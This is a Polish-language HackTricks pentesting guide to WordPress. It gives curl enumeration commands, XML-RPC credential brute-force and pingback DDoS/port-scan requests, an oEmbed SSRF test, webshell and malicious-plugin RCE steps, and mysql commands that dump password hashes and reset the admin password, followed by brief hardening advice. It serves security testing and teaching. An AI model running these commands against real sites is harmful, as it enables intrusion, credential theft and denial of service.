Wordpress

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Podstawowe informacje

Przesłane pliki trafiają do: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Pliki motywów można znaleźć w /wp-content/themes/, więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając motywu twentytwelve możesz uzyskać dostęp do pliku 404.php w: /wp-content/themes/twentytwelve/404.php Inny przydatny adres URL to: /wp-content/themes/default/404.php

W wp-config.php możesz znaleźć hasło root do bazy danych.

Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Główne pliki WordPressa

  • index.php

  • license.txt zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.

  • wp-activate.php jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.

  • Foldery logowania (mogą być przemianowane, aby je ukryć):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez REST API WordPressa.

  • Folder wp-content to główny katalog, w którym przechowywane są wtyczki i motywy.

  • wp-content/uploads/ to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.

  • wp-includes/ to katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.

  • wp-sitemap.xml W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytalnymi typami postów i taksonomiami.

Post exploitation

  • Plik wp-config.php zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sole oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.

Uprawnienia użytkowników

  • Administrator

  • Redaktor: Publikuje i zarządza swoimi oraz innymi postami

  • Autor: Publikuje i zarządza swoimi postami

  • Współautor: Pisze i zarządza swoimi postami, ale nie może ich publikować

  • Subskrybent: Przegląda posty i edytuje swój profil

Pasywna enumeracja

Uzyskaj wersję WordPressa

Sprawdź, czy możesz znaleźć pliki /license.txt lub /readme.html

W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Pliki linków CSS

  • Pliki JavaScript

Pobierz wtyczki

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pobierz motywy

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ekstrakcja wersji ogólnie

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Uzyskaj dostęp już dziś:

Aktywna enumeracja

Wtyczki i motywy

Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów (na szczęście są narzędzia automatyczne, które zawierają te listy).

Użytkownicy

ID Brute

Uzyskujesz ważnych użytkowników z witryny WordPress, przeprowadzając Brute Force na identyfikatorach użytkowników:

curl -s -I -X GET http://blog.example.com/?author=1

Jeśli odpowiedzi są 200 lub 30X, oznacza to, że id jest ważne. Jeśli odpowiedź to 400, to id jest nieważne.

wp-json

Możesz również spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:

curl http://blog.example.com/wp-json/wp/v2/users

Inny punkt końcowy /wp-json/, który może ujawnić pewne informacje o użytkownikach, to:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowali post. Dostarczone będą tylko informacje o użytkownikach, którzy mają włączoną tę funkcję.

Również zauważ, że /wp-json/wp/v2/pages może ujawniać adresy IP.

Wykrywanie nazwy użytkownika logowania

Podczas logowania w /wp-login.php wiadomość jest inna, jeśli wskazana nazwa użytkownika istnieje lub nie.

XML-RPC

Jeśli xml-rpc.php jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzenia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces używając tego na przykład).

Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij to żądanie:

Sprawdź

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce poświadczeń

wp.getUserBlogs, wp.getCategories lub metaWeblog.getUsersBlogs to niektóre z metod, które można wykorzystać do bruteforce poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Wiadomość "Nieprawidłowa nazwa użytkownika lub hasło" wewnątrz odpowiedzi z kodem 200 powinna się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.

Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Również istnieje szybszy sposób na brutalne łamanie haseł za pomocą system.multicall, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:

Obejście 2FA

Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc, jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi danymi, omijając 2FA. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS lub skanowanie portów

Jeśli możesz znaleźć metodę pingback.ping na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu. Można to wykorzystać do poproszenia tysięcy stron Wordpress o dostęp do jednej lokalizacji (w ten sposób powodując DDoS w tej lokalizacji) lub możesz to wykorzystać, aby Wordpress lo zeskanował jakąś wewnętrzną sieć (możesz wskazać dowolny port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Jeśli otrzymasz faultCode z wartością większą niż 0 (17), oznacza to, że port jest otwarty.

Zobacz użycie system.multicall w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: /wp-cron.php Gdy ten plik jest dostępny, wykonywane jest "ciężkie" zapytanie MySQL, więc może być użyty przez atakujących do spowodowania DoS. Ponadto, domyślnie wp-cron.php jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).

Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).

/wp-json/oembed/1.0/proxy - SSRF

Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i witryna Worpress może wysłać do Ciebie żądanie.

To jest odpowiedź, gdy to nie działa:

SSRF

To narzędzie sprawdza, czy methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy istnieją, a jeśli tak, próbuje je wykorzystać.

Narzędzia automatyczne

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe. Uzyskaj dostęp już dziś:

Uzyskaj dostęp, nadpisując jeden bit

Więcej niż prawdziwy atak, to ciekawostka. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man możesz zmienić 1 bit w dowolnym pliku wordpress. Możesz więc zmienić pozycję 5389 pliku /var/www/html/wp-includes/user.php, aby zrealizować operację NOP dla NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)

Wygląd → Edytor motywów → Szablon 404 (po prawej)

Zmień zawartość na powłokę php:

Szukaj w internecie, jak możesz uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz uzyskać dostęp tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Możesz użyć:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Możliwe, że można przesłać pliki .php jako wtyczkę. Utwórz swój backdoor w PHP, używając na przykład:

Następnie dodaj nową wtyczkę:

Prześlij wtyczkę i naciśnij Zainstaluj teraz:

Kliknij na Kontynuuj:

Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę:

Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki:

Uploading and activating malicious plugin

Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten odbywa się przez pulpit WordPressa w następujący sposób:

  1. Pozyskiwanie wtyczki: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB, jak tutaj.

  2. Instalacja wtyczki:

  • Przejdź do pulpitu WordPressa, a następnie do Pulpit > Wtyczki > Prześlij wtyczkę.

  • Prześlij plik zip pobranej wtyczki.

  1. Aktywacja wtyczki: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.

  2. Eksploatacja:

  • Z zainstalowaną i aktywowaną wtyczką "reflex-gallery" można ją wykorzystać, ponieważ jest znana jako podatna.

  • Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.

  • Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.

Zawartość zawiera wizualne pomoce ilustrujące kroki na pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak pentesting z wyraźnym pozwoleniem.

Aby uzyskać bardziej szczegółowe kroki, sprawdź: https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Exploitation

Wyciągnij nazwy użytkowników i hasła:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Zmień hasło administratora:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Ochrona WordPressa

Regularne aktualizacje

Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź również, że automatyczne aktualizacje są włączone w wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, instaluj tylko zaufane wtyczki i motywy WordPress.

Wtyczki zabezpieczające

Inne rekomendacje

  • Usuń domyślnego użytkownika admin

  • Używaj silnych haseł i 2FA

  • Okresowo przeglądaj uprawnienia użytkowników

  • Ogranicz próby logowania, aby zapobiec atakom Brute Force

  • Zmień nazwę pliku wp-admin.php i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.

Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Uzyskaj dostęp już dziś:

Wsparcie HackTricks

Last updated